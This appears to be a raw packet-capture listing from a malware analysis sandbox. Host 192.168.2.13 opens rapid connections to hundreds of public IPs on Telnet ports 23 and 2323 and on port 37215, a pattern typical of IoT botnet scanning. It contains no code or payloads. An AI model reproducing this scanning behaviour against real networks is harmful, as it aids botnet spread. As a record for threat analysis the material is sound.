Aug 17, 2024 01:01:51.561455011 CEST	24911	37215	192.168.2.13	41.86.255.186
Aug 17, 2024 01:01:51.561455011 CEST	24655	23	192.168.2.13	155.142.30.24
Aug 17, 2024 01:01:51.561464071 CEST	23	24655	4.1.85.72	192.168.2.13
Aug 17, 2024 01:01:51.561467886 CEST	24655	23	192.168.2.13	194.118.204.190
Aug 17, 2024 01:01:51.561474085 CEST	23	24655	194.195.187.149	192.168.2.13
Aug 17, 2024 01:01:51.561480045 CEST	24655	23	192.168.2.13	58.204.35.191
Aug 17, 2024 01:01:51.561484098 CEST	23	24655	183.202.137.112	192.168.2.13
Aug 17, 2024 01:01:51.561492920 CEST	23	24655	36.194.20.203	192.168.2.13
Aug 17, 2024 01:01:51.561495066 CEST	24655	23	192.168.2.13	4.1.85.72
Aug 17, 2024 01:01:51.561501980 CEST	24655	23	192.168.2.13	194.195.187.149
Aug 17, 2024 01:01:51.561503887 CEST	23	24655	209.113.116.211	192.168.2.13
Aug 17, 2024 01:01:51.561513901 CEST	24911	37215	192.168.2.13	156.221.71.103
Aug 17, 2024 01:01:51.561513901 CEST	24655	23	192.168.2.13	36.194.20.203
Aug 17, 2024 01:01:51.561517954 CEST	24655	23	192.168.2.13	183.202.137.112
Aug 17, 2024 01:01:51.561526060 CEST	24911	37215	192.168.2.13	41.245.208.210
Aug 17, 2024 01:01:51.561533928 CEST	24911	37215	192.168.2.13	197.86.231.106
Aug 17, 2024 01:01:51.561537027 CEST	24655	23	192.168.2.13	209.113.116.211
Aug 17, 2024 01:01:51.561537027 CEST	24911	37215	192.168.2.13	41.219.47.145
Aug 17, 2024 01:01:51.561539888 CEST	24911	37215	192.168.2.13	197.82.171.187
Aug 17, 2024 01:01:51.561543941 CEST	24911	37215	192.168.2.13	156.102.86.247
Aug 17, 2024 01:01:51.561552048 CEST	24911	37215	192.168.2.13	156.165.216.175
Aug 17, 2024 01:01:51.561558962 CEST	24911	37215	192.168.2.13	156.68.188.163
Aug 17, 2024 01:01:51.561558962 CEST	2323	24655	213.126.211.192	192.168.2.13
Aug 17, 2024 01:01:51.561564922 CEST	24911	37215	192.168.2.13	197.99.80.147
Aug 17, 2024 01:01:51.561564922 CEST	24911	37215	192.168.2.13	156.119.152.125
Aug 17, 2024 01:01:51.561566114 CEST	24911	37215	192.168.2.13	41.212.158.195
Aug 17, 2024 01:01:51.561568975 CEST	24911	37215	192.168.2.13	41.126.153.128
Aug 17, 2024 01:01:51.561569929 CEST	23	24655	124.188.53.248	192.168.2.13
Aug 17, 2024 01:01:51.561574936 CEST	24911	37215	192.168.2.13	156.213.21.26
Aug 17, 2024 01:01:51.561584949 CEST	24655	2323	192.168.2.13	213.126.211.192
Aug 17, 2024 01:01:51.561604977 CEST	24655	23	192.168.2.13	124.188.53.248
Aug 17, 2024 01:01:51.561743975 CEST	23	24655	204.32.157.249	192.168.2.13
Aug 17, 2024 01:01:51.561780930 CEST	24655	23	192.168.2.13	204.32.157.249
Aug 17, 2024 01:01:51.561793089 CEST	23	24655	181.167.95.85	192.168.2.13
Aug 17, 2024 01:01:51.561803102 CEST	23	24655	166.85.104.28	192.168.2.13
Aug 17, 2024 01:01:51.561810970 CEST	23	24655	168.101.254.60	192.168.2.13
Aug 17, 2024 01:01:51.561830997 CEST	23	24655	18.165.17.10	192.168.2.13
Aug 17, 2024 01:01:51.561835051 CEST	24655	23	192.168.2.13	166.85.104.28
Aug 17, 2024 01:01:51.561837912 CEST	24655	23	192.168.2.13	181.167.95.85
Aug 17, 2024 01:01:51.561841011 CEST	23	24655	20.242.215.34	192.168.2.13
Aug 17, 2024 01:01:51.561844110 CEST	24655	23	192.168.2.13	168.101.254.60
Aug 17, 2024 01:01:51.561851025 CEST	23	24655	202.204.35.137	192.168.2.13
Aug 17, 2024 01:01:51.561858892 CEST	24655	23	192.168.2.13	18.165.17.10
Aug 17, 2024 01:01:51.561862946 CEST	2323	24655	169.73.231.62	192.168.2.13
Aug 17, 2024 01:01:51.561865091 CEST	24655	23	192.168.2.13	20.242.215.34
Aug 17, 2024 01:01:51.561872959 CEST	23	24655	192.215.222.250	192.168.2.13
Aug 17, 2024 01:01:51.561880112 CEST	24655	23	192.168.2.13	202.204.35.137
Aug 17, 2024 01:01:51.561883926 CEST	23	24655	40.246.137.228	192.168.2.13
Aug 17, 2024 01:01:51.561894894 CEST	23	24655	171.3.30.208	192.168.2.13
Aug 17, 2024 01:01:51.561897993 CEST	24655	2323	192.168.2.13	169.73.231.62
Aug 17, 2024 01:01:51.561902046 CEST	24655	23	192.168.2.13	192.215.222.250
Aug 17, 2024 01:01:51.561906099 CEST	24655	23	192.168.2.13	40.246.137.228
Aug 17, 2024 01:01:51.561907053 CEST	23	24655	145.77.183.183	192.168.2.13
Aug 17, 2024 01:01:51.561916113 CEST	23	24655	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:51.561925888 CEST	23	24655	173.23.173.141	192.168.2.13
Aug 17, 2024 01:01:51.561930895 CEST	24655	23	192.168.2.13	171.3.30.208
Aug 17, 2024 01:01:51.561932087 CEST	24655	23	192.168.2.13	145.77.183.183
Aug 17, 2024 01:01:51.561934948 CEST	23	24655	45.90.72.195	192.168.2.13
Aug 17, 2024 01:01:51.561944962 CEST	23	24655	41.251.132.244	192.168.2.13
Aug 17, 2024 01:01:51.561950922 CEST	24655	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:51.561956882 CEST	24655	23	192.168.2.13	173.23.173.141
Aug 17, 2024 01:01:51.561959028 CEST	23	24655	198.140.203.48	192.168.2.13
Aug 17, 2024 01:01:51.561968088 CEST	2323	24655	219.20.203.148	192.168.2.13
Aug 17, 2024 01:01:51.561969042 CEST	24655	23	192.168.2.13	45.90.72.195
Aug 17, 2024 01:01:51.561971903 CEST	23	24655	95.176.48.255	192.168.2.13
Aug 17, 2024 01:01:51.561973095 CEST	24655	23	192.168.2.13	41.251.132.244
Aug 17, 2024 01:01:51.561981916 CEST	23	24655	101.117.126.208	192.168.2.13
Aug 17, 2024 01:01:51.561990976 CEST	23	24655	48.32.162.155	192.168.2.13
Aug 17, 2024 01:01:51.561990976 CEST	24655	23	192.168.2.13	95.176.48.255
Aug 17, 2024 01:01:51.562000036 CEST	24655	23	192.168.2.13	198.140.203.48
Aug 17, 2024 01:01:51.562001944 CEST	23	24655	217.84.15.62	192.168.2.13
Aug 17, 2024 01:01:51.562002897 CEST	24655	2323	192.168.2.13	219.20.203.148
Aug 17, 2024 01:01:51.562005997 CEST	24655	23	192.168.2.13	101.117.126.208
Aug 17, 2024 01:01:51.562012911 CEST	23	24655	76.177.243.169	192.168.2.13
Aug 17, 2024 01:01:51.562021971 CEST	24655	23	192.168.2.13	48.32.162.155
Aug 17, 2024 01:01:51.562021971 CEST	23	24655	84.81.245.148	192.168.2.13
Aug 17, 2024 01:01:51.562032938 CEST	23	24655	135.86.232.69	192.168.2.13
Aug 17, 2024 01:01:51.562036037 CEST	24655	23	192.168.2.13	217.84.15.62
Aug 17, 2024 01:01:51.562041998 CEST	23	24655	195.155.11.98	192.168.2.13
Aug 17, 2024 01:01:51.562047005 CEST	24655	23	192.168.2.13	76.177.243.169
Aug 17, 2024 01:01:51.562047958 CEST	24655	23	192.168.2.13	84.81.245.148
Aug 17, 2024 01:01:51.562057972 CEST	23	24655	1.173.112.28	192.168.2.13
Aug 17, 2024 01:01:51.562062025 CEST	24655	23	192.168.2.13	135.86.232.69
Aug 17, 2024 01:01:51.562067032 CEST	2323	24655	27.218.54.120	192.168.2.13
Aug 17, 2024 01:01:51.562079906 CEST	24655	23	192.168.2.13	195.155.11.98
Aug 17, 2024 01:01:51.562088966 CEST	24655	23	192.168.2.13	1.173.112.28
Aug 17, 2024 01:01:51.562088966 CEST	24655	2323	192.168.2.13	27.218.54.120
Aug 17, 2024 01:01:51.562567949 CEST	23	24655	89.70.84.0	192.168.2.13
Aug 17, 2024 01:01:51.562576056 CEST	23	24655	35.127.143.137	192.168.2.13
Aug 17, 2024 01:01:51.562589884 CEST	23	24655	92.8.87.90	192.168.2.13
Aug 17, 2024 01:01:51.562598944 CEST	23	24655	53.167.7.198	192.168.2.13
Aug 17, 2024 01:01:51.562608004 CEST	23	24655	119.98.248.85	192.168.2.13
Aug 17, 2024 01:01:51.562608004 CEST	24655	23	192.168.2.13	35.127.143.137
Aug 17, 2024 01:01:51.562608957 CEST	24655	23	192.168.2.13	89.70.84.0
Aug 17, 2024 01:01:51.562617064 CEST	23	24655	203.83.134.25	192.168.2.13
Aug 17, 2024 01:01:51.562621117 CEST	24655	23	192.168.2.13	92.8.87.90
Aug 17, 2024 01:01:51.562621117 CEST	24655	23	192.168.2.13	53.167.7.198
Aug 17, 2024 01:01:51.562625885 CEST	2323	24655	146.214.7.37	192.168.2.13
Aug 17, 2024 01:01:51.562637091 CEST	23	24655	108.4.166.181	192.168.2.13
Aug 17, 2024 01:01:51.562643051 CEST	24655	23	192.168.2.13	203.83.134.25
Aug 17, 2024 01:01:51.562644005 CEST	24655	23	192.168.2.13	119.98.248.85
Aug 17, 2024 01:01:51.562650919 CEST	23	24655	45.252.104.150	192.168.2.13
Aug 17, 2024 01:01:51.562659025 CEST	24655	23	192.168.2.13	108.4.166.181
Aug 17, 2024 01:01:51.562661886 CEST	23	24655	82.39.208.216	192.168.2.13
Aug 17, 2024 01:01:51.562661886 CEST	24655	2323	192.168.2.13	146.214.7.37
Aug 17, 2024 01:01:51.562673092 CEST	23	24655	157.13.139.85	192.168.2.13
Aug 17, 2024 01:01:51.562683105 CEST	23	24655	220.148.198.90	192.168.2.13
Aug 17, 2024 01:01:51.562685013 CEST	24655	23	192.168.2.13	45.252.104.150
Aug 17, 2024 01:01:51.562690973 CEST	24655	23	192.168.2.13	82.39.208.216
Aug 17, 2024 01:01:51.562699080 CEST	23	24655	157.146.213.142	192.168.2.13
Aug 17, 2024 01:01:51.562705040 CEST	24655	23	192.168.2.13	157.13.139.85
Aug 17, 2024 01:01:51.562707901 CEST	24655	23	192.168.2.13	220.148.198.90
Aug 17, 2024 01:01:51.562709093 CEST	23	24655	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:51.562717915 CEST	23	24655	156.83.56.26	192.168.2.13
Aug 17, 2024 01:01:51.562727928 CEST	23	24655	43.46.236.6	192.168.2.13
Aug 17, 2024 01:01:51.562732935 CEST	24655	23	192.168.2.13	157.146.213.142
Aug 17, 2024 01:01:51.562732935 CEST	24655	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:51.562736988 CEST	23	24655	23.218.46.182	192.168.2.13
Aug 17, 2024 01:01:51.562742949 CEST	24655	23	192.168.2.13	156.83.56.26
Aug 17, 2024 01:01:51.562751055 CEST	2323	24655	142.212.219.206	192.168.2.13
Aug 17, 2024 01:01:51.562757015 CEST	24655	23	192.168.2.13	43.46.236.6
Aug 17, 2024 01:01:51.562762022 CEST	23	24655	57.222.118.50	192.168.2.13
Aug 17, 2024 01:01:51.562764883 CEST	24655	23	192.168.2.13	23.218.46.182
Aug 17, 2024 01:01:51.562772989 CEST	23	24655	186.206.102.20	192.168.2.13
Aug 17, 2024 01:01:51.562777042 CEST	24655	2323	192.168.2.13	142.212.219.206
Aug 17, 2024 01:01:51.562791109 CEST	24655	23	192.168.2.13	57.222.118.50
Aug 17, 2024 01:01:51.562803030 CEST	24655	23	192.168.2.13	186.206.102.20
Aug 17, 2024 01:01:51.562923908 CEST	24911	37215	192.168.2.13	197.198.215.67
Aug 17, 2024 01:01:51.562942982 CEST	24911	37215	192.168.2.13	41.47.131.147
Aug 17, 2024 01:01:51.562943935 CEST	24911	37215	192.168.2.13	156.51.154.23
Aug 17, 2024 01:01:51.562942982 CEST	24911	37215	192.168.2.13	156.159.254.214
Aug 17, 2024 01:01:51.562944889 CEST	24911	37215	192.168.2.13	197.4.152.147
Aug 17, 2024 01:01:51.562942982 CEST	24911	37215	192.168.2.13	197.137.80.101
Aug 17, 2024 01:01:51.562943935 CEST	24911	37215	192.168.2.13	156.168.155.198
Aug 17, 2024 01:01:51.562948942 CEST	24911	37215	192.168.2.13	41.249.45.71
Aug 17, 2024 01:01:51.562952042 CEST	24911	37215	192.168.2.13	41.255.147.131
Aug 17, 2024 01:01:51.562966108 CEST	24911	37215	192.168.2.13	197.43.146.71
Aug 17, 2024 01:01:51.562968016 CEST	24911	37215	192.168.2.13	41.125.158.191
Aug 17, 2024 01:01:51.562968016 CEST	24911	37215	192.168.2.13	156.226.106.180
Aug 17, 2024 01:01:51.562969923 CEST	24911	37215	192.168.2.13	41.101.31.244
Aug 17, 2024 01:01:51.562969923 CEST	24911	37215	192.168.2.13	41.90.42.198
Aug 17, 2024 01:01:51.562973976 CEST	24911	37215	192.168.2.13	156.132.119.97
Aug 17, 2024 01:01:51.562977076 CEST	24911	37215	192.168.2.13	41.125.204.31
Aug 17, 2024 01:01:51.562977076 CEST	24911	37215	192.168.2.13	156.86.210.142
Aug 17, 2024 01:01:51.562983990 CEST	24911	37215	192.168.2.13	156.253.199.245
Aug 17, 2024 01:01:51.562983990 CEST	24911	37215	192.168.2.13	41.188.19.203
Aug 17, 2024 01:01:51.563000917 CEST	24911	37215	192.168.2.13	197.165.221.135
Aug 17, 2024 01:01:51.563004017 CEST	24911	37215	192.168.2.13	41.105.138.43
Aug 17, 2024 01:01:51.563026905 CEST	24911	37215	192.168.2.13	197.214.120.213
Aug 17, 2024 01:01:51.563030958 CEST	24911	37215	192.168.2.13	156.67.62.38
Aug 17, 2024 01:01:51.563040972 CEST	24911	37215	192.168.2.13	41.139.28.57
Aug 17, 2024 01:01:51.563041925 CEST	24911	37215	192.168.2.13	41.242.104.85
Aug 17, 2024 01:01:51.563045025 CEST	24911	37215	192.168.2.13	156.155.175.224
Aug 17, 2024 01:01:51.563045025 CEST	24911	37215	192.168.2.13	197.117.32.112
Aug 17, 2024 01:01:51.563059092 CEST	24911	37215	192.168.2.13	41.164.165.147
Aug 17, 2024 01:01:51.563059092 CEST	24911	37215	192.168.2.13	156.81.191.67
Aug 17, 2024 01:01:51.563066006 CEST	24911	37215	192.168.2.13	197.152.136.36
Aug 17, 2024 01:01:51.563066006 CEST	24911	37215	192.168.2.13	41.7.76.224
Aug 17, 2024 01:01:51.563070059 CEST	24911	37215	192.168.2.13	41.30.59.125
Aug 17, 2024 01:01:51.563085079 CEST	24911	37215	192.168.2.13	197.227.212.131
Aug 17, 2024 01:01:51.563093901 CEST	24911	37215	192.168.2.13	41.111.3.139
Aug 17, 2024 01:01:51.563097954 CEST	24911	37215	192.168.2.13	41.67.207.128
Aug 17, 2024 01:01:51.563103914 CEST	24911	37215	192.168.2.13	197.193.52.121
Aug 17, 2024 01:01:51.563103914 CEST	24911	37215	192.168.2.13	41.200.34.54
Aug 17, 2024 01:01:51.563112974 CEST	24911	37215	192.168.2.13	197.152.29.126
Aug 17, 2024 01:01:51.563119888 CEST	24911	37215	192.168.2.13	197.144.118.143
Aug 17, 2024 01:01:51.563128948 CEST	24911	37215	192.168.2.13	41.28.41.178
Aug 17, 2024 01:01:51.563146114 CEST	24911	37215	192.168.2.13	156.69.229.46
Aug 17, 2024 01:01:51.563148022 CEST	24911	37215	192.168.2.13	197.18.103.36
Aug 17, 2024 01:01:51.563148022 CEST	24911	37215	192.168.2.13	197.148.125.134
Aug 17, 2024 01:01:51.563148022 CEST	24911	37215	192.168.2.13	41.253.130.201
Aug 17, 2024 01:01:51.563165903 CEST	24911	37215	192.168.2.13	41.115.152.174
Aug 17, 2024 01:01:51.563170910 CEST	24911	37215	192.168.2.13	156.200.212.92
Aug 17, 2024 01:01:51.563170910 CEST	24911	37215	192.168.2.13	156.174.214.8
Aug 17, 2024 01:01:51.563179970 CEST	24911	37215	192.168.2.13	41.40.204.176
Aug 17, 2024 01:01:51.563180923 CEST	24911	37215	192.168.2.13	197.77.149.245
Aug 17, 2024 01:01:51.563189030 CEST	24911	37215	192.168.2.13	156.52.223.120
Aug 17, 2024 01:01:51.563194036 CEST	24911	37215	192.168.2.13	197.105.56.185
Aug 17, 2024 01:01:51.563198090 CEST	24911	37215	192.168.2.13	41.72.36.21
Aug 17, 2024 01:01:51.563203096 CEST	24911	37215	192.168.2.13	197.242.157.20
Aug 17, 2024 01:01:51.563205004 CEST	24911	37215	192.168.2.13	41.224.178.253
Aug 17, 2024 01:01:51.563216925 CEST	24911	37215	192.168.2.13	197.33.118.207
Aug 17, 2024 01:01:51.563216925 CEST	24911	37215	192.168.2.13	41.33.53.167
Aug 17, 2024 01:01:51.563234091 CEST	24911	37215	192.168.2.13	41.190.82.22
Aug 17, 2024 01:01:51.563235044 CEST	24911	37215	192.168.2.13	197.134.164.58
Aug 17, 2024 01:01:51.563235998 CEST	24911	37215	192.168.2.13	156.130.182.89
Aug 17, 2024 01:01:51.563240051 CEST	24911	37215	192.168.2.13	41.246.45.174
Aug 17, 2024 01:01:51.563241959 CEST	24911	37215	192.168.2.13	197.163.251.194
Aug 17, 2024 01:01:51.563249111 CEST	24911	37215	192.168.2.13	156.153.26.52
Aug 17, 2024 01:01:51.563251019 CEST	24911	37215	192.168.2.13	197.81.111.53
Aug 17, 2024 01:01:51.563252926 CEST	24911	37215	192.168.2.13	41.254.227.85
Aug 17, 2024 01:01:51.563258886 CEST	24911	37215	192.168.2.13	41.135.249.76
Aug 17, 2024 01:01:51.563258886 CEST	24911	37215	192.168.2.13	156.207.217.207
Aug 17, 2024 01:01:51.563258886 CEST	24911	37215	192.168.2.13	197.131.244.219
Aug 17, 2024 01:01:51.563263893 CEST	24911	37215	192.168.2.13	156.127.131.95
Aug 17, 2024 01:01:51.563263893 CEST	24911	37215	192.168.2.13	41.85.61.96
Aug 17, 2024 01:01:51.563263893 CEST	24911	37215	192.168.2.13	156.224.77.37
Aug 17, 2024 01:01:51.563281059 CEST	24911	37215	192.168.2.13	156.167.239.5
Aug 17, 2024 01:01:51.563365936 CEST	24911	37215	192.168.2.13	41.145.152.60
Aug 17, 2024 01:01:51.563365936 CEST	24911	37215	192.168.2.13	197.223.197.153
Aug 17, 2024 01:01:51.563370943 CEST	24911	37215	192.168.2.13	197.145.99.21
Aug 17, 2024 01:01:51.563379049 CEST	24911	37215	192.168.2.13	197.59.22.76
Aug 17, 2024 01:01:51.563390017 CEST	24911	37215	192.168.2.13	41.187.163.243
Aug 17, 2024 01:01:51.563407898 CEST	23	24655	221.45.98.62	192.168.2.13
Aug 17, 2024 01:01:51.563411951 CEST	24911	37215	192.168.2.13	41.60.50.8
Aug 17, 2024 01:01:51.563416958 CEST	23	24655	92.26.148.44	192.168.2.13
Aug 17, 2024 01:01:51.563421965 CEST	23	24655	195.145.189.255	192.168.2.13
Aug 17, 2024 01:01:51.563431025 CEST	24911	37215	192.168.2.13	41.81.36.0
Aug 17, 2024 01:01:51.563431978 CEST	24911	37215	192.168.2.13	197.82.247.73
Aug 17, 2024 01:01:51.563431978 CEST	24911	37215	192.168.2.13	156.136.35.194
Aug 17, 2024 01:01:51.563441038 CEST	24911	37215	192.168.2.13	156.47.228.225
Aug 17, 2024 01:01:51.563441038 CEST	24911	37215	192.168.2.13	156.35.151.19
Aug 17, 2024 01:01:51.563445091 CEST	24911	37215	192.168.2.13	197.178.219.110
Aug 17, 2024 01:01:51.563445091 CEST	24911	37215	192.168.2.13	156.84.141.220
Aug 17, 2024 01:01:51.563445091 CEST	24911	37215	192.168.2.13	197.251.210.162
Aug 17, 2024 01:01:51.563445091 CEST	24655	23	192.168.2.13	221.45.98.62
Aug 17, 2024 01:01:51.563445091 CEST	24655	23	192.168.2.13	92.26.148.44
Aug 17, 2024 01:01:51.563452005 CEST	23	24655	92.247.201.5	192.168.2.13
Aug 17, 2024 01:01:51.563453913 CEST	24911	37215	192.168.2.13	41.149.96.72
Aug 17, 2024 01:01:51.563453913 CEST	24655	23	192.168.2.13	195.145.189.255
Aug 17, 2024 01:01:51.563467979 CEST	24911	37215	192.168.2.13	156.169.83.79
Aug 17, 2024 01:01:51.563468933 CEST	24911	37215	192.168.2.13	41.178.253.124
Aug 17, 2024 01:01:51.563469887 CEST	24911	37215	192.168.2.13	156.203.116.210
Aug 17, 2024 01:01:51.563469887 CEST	23	24655	112.33.163.19	192.168.2.13
Aug 17, 2024 01:01:51.563474894 CEST	24911	37215	192.168.2.13	156.236.94.230
Aug 17, 2024 01:01:51.563481092 CEST	23	24655	152.79.67.55	192.168.2.13
Aug 17, 2024 01:01:51.563483953 CEST	24655	23	192.168.2.13	92.247.201.5
Aug 17, 2024 01:01:51.563481092 CEST	24911	37215	192.168.2.13	41.56.250.184
Aug 17, 2024 01:01:51.563494921 CEST	23	24655	18.103.104.157	192.168.2.13
Aug 17, 2024 01:01:51.563503981 CEST	24655	23	192.168.2.13	112.33.163.19
Aug 17, 2024 01:01:51.563503981 CEST	24911	37215	192.168.2.13	41.188.165.36
Aug 17, 2024 01:01:51.563504934 CEST	24911	37215	192.168.2.13	41.37.209.74
Aug 17, 2024 01:01:51.563505888 CEST	24655	23	192.168.2.13	152.79.67.55
Aug 17, 2024 01:01:51.563508987 CEST	23	24655	181.142.212.10	192.168.2.13
Aug 17, 2024 01:01:51.563528061 CEST	24911	37215	192.168.2.13	41.217.242.186
Aug 17, 2024 01:01:51.563532114 CEST	24911	37215	192.168.2.13	197.182.20.163
Aug 17, 2024 01:01:51.563532114 CEST	24911	37215	192.168.2.13	197.20.218.51
Aug 17, 2024 01:01:51.563534975 CEST	24655	23	192.168.2.13	18.103.104.157
Aug 17, 2024 01:01:51.563534975 CEST	24655	23	192.168.2.13	181.142.212.10
Aug 17, 2024 01:01:51.563539028 CEST	24911	37215	192.168.2.13	156.205.144.104
Aug 17, 2024 01:01:51.563543081 CEST	23	24655	62.194.138.32	192.168.2.13
Aug 17, 2024 01:01:51.563543081 CEST	24911	37215	192.168.2.13	41.184.94.93
Aug 17, 2024 01:01:51.563551903 CEST	2323	24655	83.87.2.47	192.168.2.13
Aug 17, 2024 01:01:51.563558102 CEST	24911	37215	192.168.2.13	41.74.137.213
Aug 17, 2024 01:01:51.563563108 CEST	23	24655	192.113.124.63	192.168.2.13
Aug 17, 2024 01:01:51.563570023 CEST	24655	23	192.168.2.13	62.194.138.32
Aug 17, 2024 01:01:51.563570976 CEST	23	24655	135.103.89.36	192.168.2.13
Aug 17, 2024 01:01:51.563580036 CEST	23	24655	31.65.44.75	192.168.2.13
Aug 17, 2024 01:01:51.563581944 CEST	24655	2323	192.168.2.13	83.87.2.47
Aug 17, 2024 01:01:51.563589096 CEST	23	24655	107.42.116.50	192.168.2.13
Aug 17, 2024 01:01:51.563592911 CEST	24655	23	192.168.2.13	135.103.89.36
Aug 17, 2024 01:01:51.563594103 CEST	24911	37215	192.168.2.13	41.125.179.222
Aug 17, 2024 01:01:51.563594103 CEST	24911	37215	192.168.2.13	197.35.175.134
Aug 17, 2024 01:01:51.563594103 CEST	24655	23	192.168.2.13	192.113.124.63
Aug 17, 2024 01:01:51.563597918 CEST	23	24655	83.213.89.227	192.168.2.13
Aug 17, 2024 01:01:51.563606024 CEST	24655	23	192.168.2.13	31.65.44.75
Aug 17, 2024 01:01:51.563606024 CEST	24911	37215	192.168.2.13	156.47.170.30
Aug 17, 2024 01:01:51.563606977 CEST	23	24655	194.77.25.28	192.168.2.13
Aug 17, 2024 01:01:51.563611031 CEST	24911	37215	192.168.2.13	156.254.197.95
Aug 17, 2024 01:01:51.563612938 CEST	24911	37215	192.168.2.13	41.68.4.77
Aug 17, 2024 01:01:51.563617945 CEST	23	24655	154.207.81.89	192.168.2.13
Aug 17, 2024 01:01:51.563627958 CEST	23	24655	41.111.189.4	192.168.2.13
Aug 17, 2024 01:01:51.563628912 CEST	24911	37215	192.168.2.13	41.175.218.159
Aug 17, 2024 01:01:51.563631058 CEST	24655	23	192.168.2.13	107.42.116.50
Aug 17, 2024 01:01:51.563631058 CEST	24911	37215	192.168.2.13	156.64.147.61
Aug 17, 2024 01:01:51.563641071 CEST	23	24655	27.241.55.196	192.168.2.13
Aug 17, 2024 01:01:51.563642025 CEST	24655	23	192.168.2.13	194.77.25.28
Aug 17, 2024 01:01:51.563642025 CEST	24655	23	192.168.2.13	83.213.89.227
Aug 17, 2024 01:01:51.563642025 CEST	24911	37215	192.168.2.13	197.39.30.22
Aug 17, 2024 01:01:51.563642025 CEST	24655	23	192.168.2.13	154.207.81.89
Aug 17, 2024 01:01:51.563653946 CEST	24911	37215	192.168.2.13	197.43.93.125
Aug 17, 2024 01:01:51.563654900 CEST	24655	23	192.168.2.13	41.111.189.4
Aug 17, 2024 01:01:51.563656092 CEST	24911	37215	192.168.2.13	41.128.149.132
Aug 17, 2024 01:01:51.563656092 CEST	2323	24655	70.233.198.252	192.168.2.13
Aug 17, 2024 01:01:51.563657999 CEST	24911	37215	192.168.2.13	156.105.124.215
Aug 17, 2024 01:01:51.563657999 CEST	24911	37215	192.168.2.13	41.11.225.169
Aug 17, 2024 01:01:51.563663960 CEST	24911	37215	192.168.2.13	41.113.153.110
Aug 17, 2024 01:01:51.563666105 CEST	23	24655	176.36.28.227	192.168.2.13
Aug 17, 2024 01:01:51.563673019 CEST	24911	37215	192.168.2.13	156.213.156.9
Aug 17, 2024 01:01:51.563673973 CEST	24655	23	192.168.2.13	27.241.55.196
Aug 17, 2024 01:01:51.563677073 CEST	23	24655	185.71.28.193	192.168.2.13
Aug 17, 2024 01:01:51.563685894 CEST	23	24655	197.204.147.113	192.168.2.13
Aug 17, 2024 01:01:51.563693047 CEST	24655	2323	192.168.2.13	70.233.198.252
Aug 17, 2024 01:01:51.563694000 CEST	23	24655	167.195.131.128	192.168.2.13
Aug 17, 2024 01:01:51.563695908 CEST	24655	23	192.168.2.13	176.36.28.227
Aug 17, 2024 01:01:51.563703060 CEST	23	24655	161.177.27.104	192.168.2.13
Aug 17, 2024 01:01:51.563704014 CEST	24655	23	192.168.2.13	185.71.28.193
Aug 17, 2024 01:01:51.563711882 CEST	23	24655	113.254.253.94	192.168.2.13
Aug 17, 2024 01:01:51.563716888 CEST	24655	23	192.168.2.13	197.204.147.113
Aug 17, 2024 01:01:51.563721895 CEST	23	24655	151.55.71.202	192.168.2.13
Aug 17, 2024 01:01:51.563729048 CEST	24655	23	192.168.2.13	167.195.131.128
Aug 17, 2024 01:01:51.563729048 CEST	24655	23	192.168.2.13	161.177.27.104
Aug 17, 2024 01:01:51.563731909 CEST	23	24655	135.109.6.87	192.168.2.13
Aug 17, 2024 01:01:51.563733101 CEST	24911	37215	192.168.2.13	41.0.120.194
Aug 17, 2024 01:01:51.563740969 CEST	23	24655	120.79.148.128	192.168.2.13
Aug 17, 2024 01:01:51.563741922 CEST	24655	23	192.168.2.13	113.254.253.94
Aug 17, 2024 01:01:51.563741922 CEST	24655	23	192.168.2.13	151.55.71.202
Aug 17, 2024 01:01:51.563750982 CEST	2323	24655	111.217.29.57	192.168.2.13
Aug 17, 2024 01:01:51.563755989 CEST	24911	37215	192.168.2.13	156.11.200.13
Aug 17, 2024 01:01:51.563766956 CEST	24911	37215	192.168.2.13	197.215.30.43
Aug 17, 2024 01:01:51.563767910 CEST	23	24655	72.30.218.137	192.168.2.13
Aug 17, 2024 01:01:51.563770056 CEST	24911	37215	192.168.2.13	41.177.89.0
Aug 17, 2024 01:01:51.563771009 CEST	24655	23	192.168.2.13	135.109.6.87
Aug 17, 2024 01:01:51.563777924 CEST	24911	37215	192.168.2.13	197.21.155.250
Aug 17, 2024 01:01:51.563779116 CEST	23	24655	69.15.53.210	192.168.2.13
Aug 17, 2024 01:01:51.563781977 CEST	24655	23	192.168.2.13	120.79.148.128
Aug 17, 2024 01:01:51.563781977 CEST	24911	37215	192.168.2.13	41.204.230.112
Aug 17, 2024 01:01:51.563782930 CEST	24911	37215	192.168.2.13	197.50.242.115
Aug 17, 2024 01:01:51.563782930 CEST	24655	2323	192.168.2.13	111.217.29.57
Aug 17, 2024 01:01:51.563791037 CEST	23	24655	185.237.5.45	192.168.2.13
Aug 17, 2024 01:01:51.563796997 CEST	24911	37215	192.168.2.13	197.102.49.148
Aug 17, 2024 01:01:51.563801050 CEST	24655	23	192.168.2.13	72.30.218.137
Aug 17, 2024 01:01:51.563802958 CEST	23	24655	60.90.28.129	192.168.2.13
Aug 17, 2024 01:01:51.563807964 CEST	24911	37215	192.168.2.13	156.247.254.19
Aug 17, 2024 01:01:51.563812017 CEST	24655	23	192.168.2.13	69.15.53.210
Aug 17, 2024 01:01:51.563816071 CEST	23	24655	110.42.197.53	192.168.2.13
Aug 17, 2024 01:01:51.563818932 CEST	24911	37215	192.168.2.13	197.171.122.248
Aug 17, 2024 01:01:51.563821077 CEST	24655	23	192.168.2.13	185.237.5.45
Aug 17, 2024 01:01:51.563821077 CEST	24911	37215	192.168.2.13	197.203.184.100
Aug 17, 2024 01:01:51.563826084 CEST	24911	37215	192.168.2.13	156.214.0.119
Aug 17, 2024 01:01:51.563826084 CEST	23	24655	63.47.174.57	192.168.2.13
Aug 17, 2024 01:01:51.563828945 CEST	24911	37215	192.168.2.13	197.10.0.162
Aug 17, 2024 01:01:51.563828945 CEST	24911	37215	192.168.2.13	41.187.81.241
Aug 17, 2024 01:01:51.563831091 CEST	24911	37215	192.168.2.13	156.10.109.29
Aug 17, 2024 01:01:51.563837051 CEST	23	24655	196.152.162.59	192.168.2.13
Aug 17, 2024 01:01:51.563838959 CEST	24655	23	192.168.2.13	60.90.28.129
Aug 17, 2024 01:01:51.563847065 CEST	23	24655	202.5.212.63	192.168.2.13
Aug 17, 2024 01:01:51.563849926 CEST	24655	23	192.168.2.13	110.42.197.53
Aug 17, 2024 01:01:51.563855886 CEST	24655	23	192.168.2.13	63.47.174.57
